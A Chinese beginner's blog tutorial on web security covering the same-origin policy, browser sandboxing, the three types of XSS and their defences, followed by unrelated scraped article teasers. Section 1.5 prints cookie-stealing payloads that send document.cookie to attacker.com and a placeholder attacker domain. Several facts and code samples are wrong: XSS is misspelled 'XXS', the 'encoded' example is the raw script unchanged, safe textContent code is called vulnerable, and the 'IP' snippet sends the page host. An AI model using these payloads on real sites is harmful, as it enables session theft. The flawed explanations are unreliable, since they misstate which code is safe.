web渗透安全学习笔记:1、入门基础知识/ XXS漏洞

前言

    自编写python渗透工具编写学习笔记专栏以来,笔者便发现了一个较为严重的问题:我们大多数文章都是学习如何用python编写扫描与利用漏洞的渗透工具,却没有真正解析漏洞的形成原因,长此以往我们的学习就只会浮于表面,广而不深。为了改变这一现状,笔者决定以深入学习漏洞为主,编写漏洞渗透工具为辅(当然不意味着两专栏更新频率不均),新开了web渗透安全学习笔记专栏。那么,就让我们开始今天的学习吧!

坚持科技向善,勿跨越法律界限,代码仅供教学目的。初出茅庐,如有错误望各位不吝赐教。

点此前往python渗透工具编写学习笔记专栏:python渗透工具编写学习笔记 

 1.1 web的组成

Web的组成主要包括以下几个要素:

网络基础设施:包括各种网络设备,如服务器、路由器、交换机等,用于连接和传输数据。

互联网协议(Internet Protocol, IP):是互联网数据传输的基本协议,负责将数据分割成数据包并传输给指定的目标地址。

域名系统(Domain Name System, DNS):用于将易于记忆的域名转换为对应的IP地址,方便用户访问网站。

HTTP协议(HyperText Transfer Protocol):是Web中用于传输超文本(如HTML、CSS、JS等)的协议,它定义了客户端和服务器之间的通信规则。

CSP(Web Content Security Policy):是一种基于HTTP头部的安全策略,用于保护网站免受恶意代码的攻击。它允许网站管理员定义哪些外部资源可以被加载,并限制内联脚本、内联样式和其他不安全的操作。

万维网(World Wide Web):是一个基于HTTP协议的信息系统,包括了各种网页、网站和资源。

编写web的语言主要是一下三种: 

  1. HTML(HyperText Markup Language):是用于创建Web页面的标记语言,是Web的基础。

  2. CSS(Cascading Style Sheets):是用于控制网页样式的语言,可以定义网页的布局、字体、颜色等外观。

  3. JavaScript:是一种用于增强网页交互性的脚本语言,可以操作网页元素、响应用户操作等。

C/S架构(Client/Server):是指客户端和服务器之间的架构模式。在C/S架构中,客户端负责处理用户界面和用户交互,而服务器负责处理数据存储和业务逻辑。客户端通过网络连接到服务器,发送请求并接收响应。这种架构模式通常用于需要高性能和复杂业务逻辑的应用程序,例如在线游戏和大型企业应用。

B/S架构(Browser/Server Architecture):是指浏览器和服务器之间的架构模式。在B/S架构中,浏览器作为客户端,负责处理用户界面和用户交互,而服务器负责处理数据存储和业务逻辑。用户通过浏览器访问网页,浏览器发送请求到服务器并接收响应。这种架构模式通常用于Web应用程序,例如网上购物和社交媒体

1.2 同源策略

    同源策略是一种Web浏览器安全机制,它的目的是防止恶意网站通过脚本等方式访问用户的敏感信息或者执行恶意操作。同源策略允许同一个域名下的不同网页、文件或数据之间进行相互交互。要透彻的学习同源策略,我们先来学习源是什么:

源(origin):是一个由协议(如HTTP、HTTPS)、域名和端口号组成的标识。源被用于确定一个文档或脚本来自哪个源,以及允许哪些源访问特定资源的规则。同源策略通过限制不同源之间的交互来增加Web应用程序的安全性,防止恶意代码对不同源的资源进行访问和操作。

Web 内容的由用于访问它的 URL 的方案(协议)、主机名(域名)和端口定义。只有当协议、主机和端口都匹配时,两个对象才具有相同的源。示例如下:

服务器默认从 80 端口传送 HTTP 内容,所以以下两个地址同源:

  • http://Eleven.com:80
  • http://eleven.com

协议不同,以下两个地址不属于同源:

  • http://eleven.com/sp1
  • https://eleven.com/sp2

主机名不同,以下几个地址不属于同源:

  • http://eleven.com
  • http://www.eleven.com
  • http://myapp.eleven.com

端口不同,以下几个地址不属于同源: 

  • http://eleven.com
  • http://eleven.com:70

例如,当你在一个网页中使用JavaScript代码发送AJAX请求时,同源策略会阻止该请求访问不同域的资源。这意味着,如果你的网页代码来自于一个域名,那么它只能与来自同一域名的资源进行交互,而不能与其他域名的资源进行交互。 

域:是指在计算机网络中,一组具有相同属性的计算机或设备的集合。域可以根据网络规模的不同,分为局域网(LAN)、城域网(MAN)和广域网(WAN)。

域名:是指通过域名系统(DNS)来进行解析的由一串字符组成的名称,用于标识并定位互联网上的计算机、服务或资源。域名一般由若干部分组成,如www.example.com,其中www为子域名,example为二级域名,com为顶级域名。域名可以转化为对应的IP地址,从而实现网络上的通信与访问。

资源:可以包括文字、图片、视频、音频文件等等。

1.3 浏览器沙箱

    浏览器沙箱是一种安全机制,用于隔离浏览器中运行的不可信任代码(例如JavaScript代码)与操作系统和主机系统的其他部分。它创建了一个受控的环境,在其中运行代码,以确保代码无法直接访问或修改操作系统或主机系统中的敏感资源。

浏览器沙箱通过限制不可信任代码的权限和访问范围来保护用户的设备和数据安全。它通常使用以下技术和措施来实现:

  1. 进程隔离:浏览器将不同的标签页或网站运行在不同的进程中,以确保它们之间的代码和数据互相隔离。这样一来,一个恶意的网站或插件无法直接访问或修改其他网站或标签页中的数据。

  2. 沙盒环境:浏览器为每个标签页或网站创建一个沙盒环境,在其中运行不可信任的代码。沙盒环境限制了代码的权限,例如禁止访问文件系统、网络以及操作系统级的功能。

  3. 内存保护:浏览器使用内存保护技术来防止代码通过缓冲区溢出等漏洞来攻击系统。这些技术包括地址空间布局随机化(ASLR)和数据执行保护(DEP)。

  4. 权限管理:浏览器沙箱使用权限管理机制,允许用户控制哪些资源可以被访问。例如,浏览器会提示用户是否允许某个网站获取地理位置或访问摄像头。

1.4 初识XXS漏洞

    XXS漏洞(Cross-Site Scripting vulnerability)允许攻击者在网页上注入恶意脚本代码,从而获取用户的敏感信息或者对用户进行恶意操作。

XXS漏洞主要出现在Web应用程序中,它可以利用用户提交的数据或者其他不可信来源的数据来构造攻击代码。当用户访问包含恶意脚本的受感染网页时,恶意脚本将在用户的浏览器中执行,从而导致信息泄露或者其他安全问题。接下来,我们将逐一讲解三种类型的XXS漏洞。

1.4.1 存储型 XSS

    攻击者将恶意脚本代码存储在目标网站的数据库中,当其他用户访问页面时,恶意代码会从服务器返回,并在用户的浏览器中执行。这种类型的漏洞常见于留言板、评论区等用户可以输入内容的地方。

以下是一个存储型xxs的示例:

假设我们有一个简单的留言板应用程序,允许用户发布留言并将其显示在网页上。用户可以输入留言的内容,并将其保存到数据库中。然后,应用程序从数据库中检索留言并在网页上显示。

现在,假设攻击者输入以下内容作为留言:

<script>
  alert("恶意脚本!");
</script>

当这个留言被保存到数据库并在网页上显示时,用户将看到一个弹出框显示"恶意脚本!",这就是存储型xxs的攻击。

为了防止存储型xxs攻击,我们可以在用户输入时进行输入验证和过滤,确保只允许合法的内容进入数据库。可以使用一些特殊字符过滤和编码技术,如HTML编码或JavaScript转义,以确保用户输入的内容不会被解释为脚本。

在这个示例中,我们可以使用HTML编码来处理用户输入。这样,攻击者输入的恶意脚本将被转义为HTML实体,而不会被浏览器解释为脚本:

<script>
  alert("恶意脚本!");
</script>

这样,当留言被显示在网页上时,用户将只看到原始的恶意脚本代码,而不会执行。

1.4.2 反射型 XSS

    攻击者通过诱使用户点击恶意链接或提交恶意表单等方式,将恶意代码注入到目标网站的URL参数中。而服务器在返回响应时,将恶意代码反射回用户的浏览器,并在浏览器中执行。这种类型的漏洞常见于搜索框、URL参数等用户可以输入内容的地方。

下面是一个简单的反射型XXS的示例:

假设我们有一个简单的登录页面,用户输入用户名和密码后提交表单,然后服务器将用户名展示在欢迎信息中。

<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>Login Page</title>
</head>
<body>
    <h1>Login Page</h1>
    <form action="/login" method="post">
        <label for="username">Username:</label>
        <input type="text" id="username" name="username" required><br><br>
        <label for="password">Password:</label>
        <input type="password" id="password" name="password" required><br><br>
        <input type="submit" value="Login">
    </form>
    <h2>Welcome, <?php echo $_POST['username']; ?>!</h2>
</body>
</html>

在上述代码中,我们使用了PHP来获取用户输入的用户名,并将其展示在欢迎信息中。但是,这段代码存在反射型XXS漏洞。如果攻击者在用户名中注入恶意脚本,那么该恶意脚本将被执行。

例如,攻击者可以构造一个恶意的用户名如下:

<script>alert('XSS Attack!');</script>

当用户提交表单后,恶意脚本将在欢迎信息中执行,弹出一个警告框,从而攻击用户。

1.4.3 DOM型 XSS

    DOM-based XSS漏洞是一种特殊的XSS漏洞,攻击者通过修改目标网页的DOM(文档对象模型)结构,使恶意脚本在用户的浏览器中执行。这种类型的漏洞通常发生在JavaScript代码中,攻击者能够控制DOM元素的内容或属性,从而影响网页行为。

以下是一个简单的DOM型XSS示例:

<!DOCTYPE html>
<html>
<head>
<script>
function xssAttack() {
  var userInput = document.getElementById("input").value;
  var output = document.getElementById("output");
  output.innerHTML = userInput; // 将用户输入的内容直接插入到页面中
}
</script>
</head>
<body>
<h1>DOM型XSS示例</h1>
<input type="text" id="input">
<button onclick="xssAttack()">提交</button>
<div id="output"></div>
</body>
</html>

 在这个示例中,用户可以在输入框中输入任意内容,并点击提交按钮。然后,用户输入的内容会被直接插入到页面中的元素中,没有进行任何过滤或转义处理。这就给了攻击者的机会,如果攻击者输入恶意脚本代码,它将被执行,从而导致XSS攻击。

1.5 XXS实例

下面我们来看几个利用XXS漏洞的实例:    

1、利用DOM XSS漏洞进行持久性攻击和劫持用户会话:

假设有一个简单的留言板应用程序,用户可以在留言板上发布消息。应用程序将用户输入的消息直接插入到DOM中,而没有进行任何过滤或转义。

<!DOCTYPE html>
<html>
<head>
    <title>留言板</title>
</head>
<body>
    <h1>留言板</h1>
    <div id="messages"></div>
    <form id="messageForm">
        <input type="text" id="messageInput">
        <button type="submit">发布</button>
    </form>

    <script>
        // 获取留言板表单和消息容器
        var messageForm = document.getElementById('messageForm');
        var messagesContainer = document.getElementById('messages');

        // 监听表单提交事件
        messageForm.addEventListener('submit', function(event) {
            event.preventDefault(); // 阻止表单默认提交行为

            // 获取用户输入的消息
            var message = document.getElementById('messageInput').value;

            // 创建新的消息元素
            var newMessage = document.createElement('p');
            newMessage.textContent = message;

            // 将新的消息元素插入到消息容器中
            messagesContainer.appendChild(newMessage);

            // 清空输入框
            document.getElementById('messageInput').value = '';
        });
    </script>
</body>
</html>

在上述示例中,用户输入的消息直接通过textContent属性插入到DOM中。这就存在一个安全漏洞,如果用户输入的消息包含恶意脚本,那么这些脚本将会被执行。例如,如果用户输入以下内容作为消息:

<script>
    // 恶意脚本,用于劫持用户会话或窃取用户敏感信息
    fetch('http://attacker.com/steal?cookie=' + document.cookie);
</script>

 那么这段恶意脚本将会被执行,从而导致用户会话被劫持或者敏感信息被窃取。

2、窃取cookie:

<!DOCTYPE html>
<html>
<head>
    <title>XSS漏洞示例</title>
</head>
<body>
    <h1>欢迎访问我的网站!</h1>
    <script>
        // 恶意脚本,用于窃取cookie
        var maliciousScript = document.createElement('img');
        maliciousScript.src = 'http://攻击者的恶意网站.com/steal.php?cookie=' + document.cookie;
        document.body.appendChild(maliciousScript);
    </script>
</body>
</html>

在上述示例中,攻击者通过创建一个元素,并将其属性设置为攻击者的恶意网站地址,同时将受害者的cookie作为参数传递给恶意网站。当受害者访问包含该恶意脚本的网页时,浏览器会自动加载该图片,并将受害者的cookie发送给攻击者的恶意网站。 

3、获取访问者IP:

<!DOCTYPE html>
<html>
<head>
    <title>XSS漏洞示例</title>
</head>
<body>
    <h1>欢迎访问我的网站!</h1>
    <script>
        // 恶意脚本代码
        var img = new Image();
        img.src = 'http://攻击者的服务器地址/collect.php?ip=' + document.location.host;
        document.body.appendChild(img);
    </script>
</body>
</html>

在上述示例中,攻击者通过创建一个元素,并将其属性设置为攻击者的服务器地址,同时将访问者的IP地址作为参数传递给服务器。当受害者访问包含恶意代码的网页时,浏览器会发送一个请求到攻击者的服务器,从而泄露了访问者的IP地址。 

1.6 XXS的防治

最后我们来了解一下,为了防止XXS攻击,我们有什么常见的防治措施:

  1. 输入验证:在接收用户输入的地方进行输入验证,确保用户输入的数据符合预期的格式和内容。特别是对于用户输入的字符和脚本代码进行过滤,避免执行恶意代码。

  2. 输出编码:在将用户输入的数据输出到网页上时,对特殊字符进行编码,以防止浏览器将其解析为脚本代码。常见的编码方式包括HTML实体编码和URL编码。

  3. HttpOnly Cookie:将敏感信息存储在HttpOnly Cookie中,这样浏览器无法通过脚本代码访问该Cookie,减少XXS攻击的风险。

  4. CSP(Content Security Policy):通过设置CSP,限制网页中可以执行的脚本代码的来源,阻止外部恶意脚本的执行。

 那么到这里就是今天的全部内容了。如有帮助,不胜荣幸。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/276784.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

C#中创建包含括号的数据表字段的处理方法

在C#中创建数据表时&#xff0c;有时我们会遇到需要在字段名称中包含括号的情况。这种需求可能出现在字段名称包含特殊字符、关键字或空格的情况下。本文将探讨如何处理这种情况&#xff0c;并介绍一些常用的方法。 一、为什么需要处理包含括号的数据表字段 1. 避免与C#语言保…

Spark RDD操作性能优化技巧

Apache Spark是一个强大的分布式计算框架&#xff0c;用于处理大规模数据。然而&#xff0c;在处理大数据集时&#xff0c;性能优化成为一个关键问题。本文将介绍一些Spark RDD操作的性能优化技巧&#xff0c;帮助大家充分利用Spark的潜力&#xff0c;并获得更快的处理速度。 …

【UE5.1】程序化生成Nanite植被

目录 效果 步骤 一、下载Gaea软件和树林资产 二、使用Gaea生成贴图 三、 生成地形 四、生成草地 五、生成树林 六、生成湖泊 七、其它功能介绍 7.1 调整树林生成的面积 7.2 让植物随风飘动 7.3 玩家和植物互动 7.4 雪中树林 7.5 环境音效 效果 步骤 一、下载Ga…

svn外网打不开url地址怎么解决

在家或者出差在外经常会有连接到公司内部SVN服务器的需求&#xff0c; 但是 svn外网打不开url地址怎么解决&#xff1f;如何才能连接到公司内部SVN服务器&#xff1f;今天小编教你一招&#xff0c;在本地SVN服务的内网IP端口用快解析软件添加映射&#xff0c;一步就可以提供让公…

Spring AOP—深入动态代理 万字详解(通俗易懂)

目录 一、前言 二、动态代理快速入门 1.为什么需要动态代理&#xff1f; : 2.动态代理使用案例&#xff1a; 3.动态代理的灵活性 : 三、深入动态代理 1.需求 : 2.实现 : 2.1 接口和实现类 2.2 提供代理对象的类 2.3 测试类 3.引出AOP : 四、总结 一、前言 第四节内容&…

中文版大模型 Token 成本计算器

分享一个轻量的小工具&#xff0c;10MB 左右&#xff0c;能够帮助你直观的了解大模型 Token 的计算方法。 希望能够帮助到想了解或者正在规划模型 API 使用成本的你。 写在前面 之所以折腾这个小工具&#xff0c;是因为有朋友和我提问&#xff0c;大模型 API 的 Token 到底是…

机器学习 -- 数据预处理

系列文章目录 未完待续…… 目录 系列文章目录 前言 一、数值分析简介 二、内容 前言 tips&#xff1a;这里只是总结&#xff0c;不是教程哈。 以下内容仅为暂定&#xff0c;因为我还没找到一个好的&#xff0c;让小白&#xff08;我自己&#xff09;也能容易理解&#x…

计算机网络(6):应用层

每个应用层协议都是为了解决某一类应用问题&#xff0c;而问题的解决又往往是通过位于不同主机中的多个应用进程之间的通信和协同工作来完成的。 应用层的具体内容就是规定应用进程在通信时所遵循的协议。 应用层的许多协议都是基于客户服务器方式。即使是对等通信方式&#x…

[BUG] Hadoop-3.3.4集群yarn管理页面子队列不显示任务

1.问题描述 使用yarn调度任务时&#xff0c;在CapacityScheduler页面上单击叶队列&#xff08;或子队列&#xff09;时&#xff0c;不会显示应用程序任务信息&#xff0c;root队列可以显示任务。此外&#xff0c;FairScheduler页面是正常的。 No matching records found2.原…

Linux中proc文件系统相关介绍

proc虚拟文件系统的工作原理 linux 内核是一个非常庞大、非常复杂的一个单独的程序&#xff0c;对于这样一个程序来说调试是非常复杂的。像kernel这样庞大的项目&#xff0c;给里面添加或者修改一个功能是非常麻烦的&#xff0c;因为添加一个功能可能会影响其他已经有的功能。…

Mybatis行为配置之Ⅰ—缓存

专栏精选 引入Mybatis Mybatis的快速入门 Mybatis的增删改查扩展功能说明 mapper映射的参数和结果 Mybatis复杂类型的结果映射 Mybatis基于注解的结果映射 Mybatis枚举类型处理和类型处理器 再谈动态SQL 文章目录 专栏精选摘要引言正文缓存配置项说明cacheEnabledlocal…

Ubuntu Desktop 22.04 桌面主题配置

Ubuntu Desktop 22.04 桌面主题配置 使用这么久 Ubuntu Desktop&#xff0c;本着不折腾的原则&#xff0c;简单介绍下自己的桌面主题配置。 安装 tweaks 安装 GNOME Shell 安装 GNOME theme安装 gnome-tweaks & chrome-gnome-shell sudo apt update # 安装 gnome-tweaks…

文件下载输出zip文件

文件下载输出成zip文件&#xff1a; 1、前端整个按钮&#xff0c;调js方法&#xff1a;&#xff08;参数&#xff1a;param,需要下载的id&#xff0c;用逗号拼接&#xff09; var param "?dto.id";//需要自己拼接param window.location.href "<%basePat…

maven中dependencyManagement标签

简介 dependencyManagement正如其名&#xff0c;用于项目依赖的统一管理。 在父项目中的pom.xml文件中加入dependencyManagement标签即可完成依赖版本的声明。在声明完成后&#xff0c;子项目&#xff08;module&#xff09;中引用相同的依赖时可以不指定version标签自动引入…

Android Studio实现课表

本文章主要展示课表的实现&#xff0c;里面包含很多控件的用法&#xff0c;比如吐司Toast、通知Notification、ListView&#xff0c;数值选择器NumberPicker&#xff0c;SeekBar同editText的关联。抽屉导航栏 还有一些其他的功能&#xff0c;比如InputFilter自定义的字符过滤器…

web前端项目-豆瓣电影【附源码】

web前端项目-豆瓣电影【附源码】 本项目设计和制作一个电影咨询和电影评分网站——仿豆瓣电影网&#xff0c;通过该网站的设计和制作过程&#xff0c;可以帮助网站开发人员和熟悉网站前台页面的制作流程&#xff0c;并在开发过程中熟练应用HTML&#xff1b;CSS&#xff1b;Jav…

智安网络|实现安全与网络功能一体化:SASE的全新安全策略

随着企业信息化和数字化程度的不断提升&#xff0c;网络安全面临着前所未有的挑战。传统的网络安全模式已经无法满足日益复杂的安全需求。在这一背景下&#xff0c;安全访问服务边缘&#xff08;SASE&#xff09;崭露头角&#xff0c;并逐渐成为新一代网络安全架构的关键概念。…

easyexcel 导出

在使用EasyExcel库进行数据写入时&#xff0c;通常我们会使用实体类来存储数据。但是当遇到动态查询&#xff0c;无法确定属性数量和名称时&#xff0c;就需要使用Map来接收数据。然而&#xff0c;直接将Map中的数据写入Excel表格并不是一件简单的事情。接下来&#xff0c;我将…

postman使用-04响应

文章目录 响应响应界面说明Pretty&#xff1a;格式化显示&#xff0c;以便查看Raw&#xff1a;不进行任何处理&#xff0c;显示响应数据的原始格式Preview&#xff1a;预览响应体&#xff0c;会自动换行&#xff0c;不会格式化&#xff08;有时候是数据&#xff0c;有时候是页面…

Windows搭建RTMP视频流服务(Nginx服务器版)

文章目录 引言1、安装FFmpeg2、安装Nginx服务器3、实现本地视频推流服务4、使用VLC或PotPlayer可视化播放器播放视频5、RTSP / RTMP系列文章 引言 RTSP和RTMP视频流的区别 RTSP &#xff08;Real-Time Streaming Protocol&#xff09;实时流媒体协议。 RTSP定义流格式&#xff…